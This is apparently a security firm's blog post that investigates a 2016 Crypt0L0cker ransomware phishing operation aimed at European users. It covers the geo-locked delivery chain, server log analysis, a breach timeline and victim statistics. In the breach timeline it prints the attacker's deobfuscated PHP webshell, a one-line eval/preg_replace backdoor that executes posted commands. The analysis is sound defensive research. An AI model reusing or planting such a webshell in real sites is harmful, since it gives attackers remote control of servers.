Recently we uncovered a ransomware distribution operation targeting European users and carried out via phishing scams. In this post we will show how we have conducted the research: from the initial infection stage back to the person that is orchestrating the whole operation. These campaigns are targeting Italy, Denmark and Spain, although we have detected two new campaigns about to be started by the same author. The ransomware delivered is the infamous Crypt0L0cker, a descendant of TorrentLocker ransomware.

Phishing Email

The ransomware is delivered via phishing email, we’ve identified 5 different companies being used as bait:

Every campaign is geo-locked to its own country of reference, therefore it’s not possible to directly download the binaries from another location. This is a real sample of one of the emails received by the victims.

SDA Phishing Campaign Email
SDA Phishing Campaign Email

While the general layout is accurate, the text is loosely translated, something that should always ring a bell. The link invites you to download the shipping receipt, print it and present it to the postal office to receive the parcel.  If the link is clicked from the correct country, Crypt0L0cker is downloaded and the computer is fully encrypted in a short time.

CryptoLocker ransom screen
CryptoLocker ransom screen

What happens behind the curtains? The phishing part is done entirely from a compromised website while the malware is served from a server owned and managed by the campaign owner. The campaign having SDA as a bait uses the following deployment scheme.

SDA Phishing Deployment Scheme
SDA Phishing Deployment Scheme

Once the email is received and the link clicked, the browser opens a page on the compromised webserver. The webserver performs a geolocation check to allow downloads only from a specific country (Italy in this case), if the geo check is passed the user is redirected to the real phishing page and she is asked for a captcha, if the captcha is correct the website serves a binary from a cloud provider to the user that is now ready to be infected. The captcha is static but it serves its purpose of avoiding unwanted downloads from web spiders, the cloud provider ensures that no malicious binary is hosted on the phishing website, we’ll understand later why. The flow for the other campaigns is slightly different.

Telecom/Enel/Correos/Danmark Post Campaigns flow
Telecom/Enel/Correos/Danmark Post Campaigns flow

For the other campaigns the compromised website acts as a frontend while the backend servers are used to check the geolocation of the victim and to retrieve a valid link for the ransomware from the cloud provider in use. Of 4 servers used as backends we were able to track the first 3, the 4th one was shut down during our investigation. This is their approximate location.

Approximate locations of backend servers
Approximate locations of backend servers

The frontend server is used to partially hide the backend infrastructure, possibly in an attempt to reuse the same infrastructure, should the frontend server become unavailable. We decided to dig deeper into this operation, so after analyzing the website we found out that it was using a Joomla version that was still vulnerable at least to one exploit, most probably the one used to compromise the server. In a smart move the author of the breach patched the vulnerability, to avoid any further exploitation attempt from other groups. Now for the interesting part…

Data Analysis

After a bit of work we’ve been able to obtain ~100.000 lines of logs from the compromised server, this proved to be extremely useful to understand the modus operandi of the attacker and to find evidence of other campaigns. To speed up as much as possible the data analysis, well conscious of the ephemeral nature of such operations, we took advantage of the same anomaly detection procedures that we use in-house for our analyses. After a lot of data cleaning and normalization we came up with two quite explanatory pictures.

Server logs data analysis
Server logs data analysis

Every dot represents a log entry from the compromised server, there are two different clusters of outliers that are quite distinct, so we concentrated our analysis on those two. The one in bottom right corner of the image shows a bruteforce attempt against the administrator account, stopped after ~3000 attempts by the attacker that couldn’t obtain valid credentials. The one in the upper left corner shows various attempts: SQLi, XSS and finally the one successfully used by the attacker to breach the machine.
By clustering a subsampled set of this data with t-SNE we were able to infer some other interesting properties.

t-SNE Clustering of Server Data
t-SNE Clustering of Server Data

The big cluster on the left-hand side shows “normal” operations, but what about those 5 clusters on the right-hand side? Each one turned out to belong to a different distribution campaign of CryptoLocker. So we analyzed the server and we found exactly…. 7 campaigns. We were perplexed as to why there were more campaigns than those found through the data analysis. Data never lies so after some more analysis it turned out that those 2 additional campaigns weren’t started yet. Indeed the operator was about to begin two new campaigns against:

Possibly the second Correos campaign was being kept as a backup of the one already in progress. Regarding the Sveriges Domstolar, Wikipedia reports:

The Swedish National Courts Administration (SNCA) (Swedish: Domstolsverket) is a Swedish administrative authority organized under the Ministry of Justice. It functions as a service organisation for the Swedish courts, including the general courts, the general administrative courts and a number of special courts.[2]
[…] The agency also provide legal information on-line, via a Government website

And sure enough we retrieved the captcha-ridden page prepared by the campaign’s author. The phished page is:

Sverige Domstolar Phishing Page
Sverige Domstolar Phishing Page

Mystery solved.

Breach Timeline

Out of sheer curiosity we kept analyzing the logs to better understand how the attacker obtained persistence on the machine and how he was operating behind the scenes.

  • The server is probed the first time on the 29/Feb/2016 at 16:41:22 from the Ukrainian IP: 31.202.xx.xx
  • A second probe is issued exactly at the same time from another Ukrainian IP: 91.250.xx.xx
  • A third probe is issued exactly at the same time from a third Ukrainian IP (different from the first): 31.202.xx.xx
  • The server is probed again on the 15th and 16th of March from the same 91.250.xx.xx address
  • The 18th of March at 01:21:42 a phpshell is uploaded by a cloud server provider
  • The activity continues from the same address for many days
  • Another IP from the same cloud provider: on the 25th of March at 20:50:39 uploads a file called side.php
  • The first campaign begins on the 28th of March

The IP is marked as a spam server since 2013 but being a cloud server we cannot be completely sure that the owner didn’t change in the past years.
The first three IPs are obscured since they belong to a leased line in Mariupol, Ukraine, which is with good probability the original location of the attacker.

Origin of the attack
Origin of the attack


The webshell is quite simple and once deobfuscated it can be summarized in the following line of code:

eval(preg_replace('/(.*)/e', $_POST['xxxrequest'], ''));

just mind the presence of the “e” operator used in the preg_replace() call. The way it works is quite straightforward: it executes every command posted through the xxxrequest variable. This is how the operator maintained persistence on the server.


Content of the side.php file is puzzling:

<?php if(isset($_POST['que'])){echo 'ComeInDarkSide!';} ?>

An invitation maybe? We don’t think it was a probe of some kind or an exploitation test since it was uploaded after the server had been already compromised for a long time.

Distribution Servers

At this stage we could make a summary of the servers controlled by the attacker for this campaigns:

  • 4 in Russia (2 used as distribution points and 2 as C&C as we’ll see later)
  • 1 in Ukraine
  • 2 in Germany

The elements gathered so far lead to think that we are dealing with a solo or small-group operation orchestrated from Ukraine.

Frontend <-> Backend

Each campaign has a dedicated backend server, this is the mapping for each one:

  • SDA – url:, ip:, registered: 31 Mar 2016, location: Ukraine
  • Danmark Post – url:, ip:, registered: 30 march 2016, location: Russia
  • Correos – url:, ip:, registered: 30 march 2016, location: Russia
  • ENEL – url:, ip:, registered: 24 feb 2016, location: Russia
  • Telecom Italia – url:, ip:, registered: 24 feb 2016, location: Russia
  • Sveriges Domstolar – url:, ip: not retrieved, registered: 26 feb 2016, location: unknown

All the campaigns leverage on two basic human needs: receiving shipped items as soon as possible and paying the bills ;). Hence each campaign is tailored to trigger these urges. Of the above domains at the time of writing only and appear to be still active and functioning.

One of the frontend servers
Frontend server used for Correos and Danmark Post Phishing Campaign
Frontend used for the Correos campaign
Frontend server used for SDA Phishing Campaign

Once installed CryptoLocker tries to get the address of a C&C using a DGA that generates different domains, also it appears to generate 3 different and always changing subdomains for, which has been seen pointing to two different IP addresses:

  • on the 6th of April, location: Moscow
  • on the 8th of April, location: Moscow

Two main entry nodes to the TOR network, used by the ransomware, have been identified:

  • (Tele2), location: Vienna
  • (OVH Server), location: Milan

Both are Tor2Web gateways.

Campaigns Tracking

The analysis of the data acquired so far allowed us to track the progress of each campaign, the results were interesting. This is a plot of the infections grouped by campaign. As a reminder the ransom requested amounts to 299€ for the first 5 days and 598€ after the 5th day, according to a recent research half of the victims are willing to pay up to 500$ to recover their files. If we stick to this data the amount of money generated by these 5 campaigns might account to about 180.000€, although in reality it will be probably less since companies, when possible, prefer to restore an infected computer instead of paying a ransom. The same cannot be said for privates since most people lack the capabilities/tools to restore their own computers or to perform regular backups.
Attacks per Campaign
This is an accurate picture of the ratios of victims generated by a single server, divided by campaign:

Victims breakdown
Victims breakdown

What’s more interesting is how fast each campaign is capable of acquiring victims:

Campaigns timeline
Campaigns timeline

Arguably some are more successful than others, which is an interesting measure to understand which group of users should be protected more closely. The life of each campaign is roughly the same: 24h in average, this might be the reaction time of the IT teams to block an incoming source of phishing.
By analyzing the victims connections we have been able to list all the companies affected, so we grouped them to better understand which sectors have been more affected. The total number of companies targeted was 204.

Affected sectors
Affected sectors

This is the connections map we’ve derived from the data, it includes also those download attempts blocked by the geolocation filter.

Download list
Download list

Unfortunately we couldn’t access the spam server to draw a correlation between the emails sent and the ransomware samples downloaded. Some countries like Germany have a high hit rate due to the fact that several targeted companies in Italy and Spain have major branch offices in Germany, also some German companies were targeted as well, presumably by mistake.

Links to a Previous Campaign

Back in March 2015 another phishing campaign was started against Italy, Denmark, Spain and Sweden that used exactly the same attack format and the same vector such as Crypt0L0cker. We believe the two campaigns are linked to each other and possibly are the work of the same author. At that time the frontend server didn’t appear to make use of a compromised machine and the URLs used were:

  • Enel: pointing to (Moscow)
  • SDA: pointing to (St. Petersburg) and (Moscow)
  • Post

In particular the SDA dedicated domains where registered under the pseudonym Zolotova Rubina (, that appears to have registered also:

  • (
  • (,
  • (,

Those SDA URLs used to work in concert with another domain (, active up to January 2016 and serving the same ransomware. At that time some of the emails were sent as traditional phishing emails, some other were attached as RTF documents.

SDA 2015 RTF Email
SDA 2015 RTF Email

Without doubts the MO is almost exactly the same as that of the current campaign especially regarding the infrastructure and setup used.


We have uncovered and tracked from the inside a ransomware distribution campaign and found out how effective those attacks can be: more than a thousand victims acquired in a week of operations. These attacks appear to originate from Ukraine, specifically from Mariupol and are taking advantage of a compromised website used as a frontend. The backend infrastructure is hidden and distributed between Ukraine and Russia, adding further elements to pinpoint the origin of the attacks. Our analysis provides a clear view of how easy and (relatively) low-effort is for a single or small group of crooks to project their attacks abroad, targeting whole countries and keeping hostage the data of thousands of users.
Stay tuned for part 2, we will delve into the technical details of the servers dispatch procedures and we’ll dig into the ransomware’s code.
Join our newsletter to get the world’s latest security events and our technical analyses delivered directly to your inbox!


Close Bitnami banner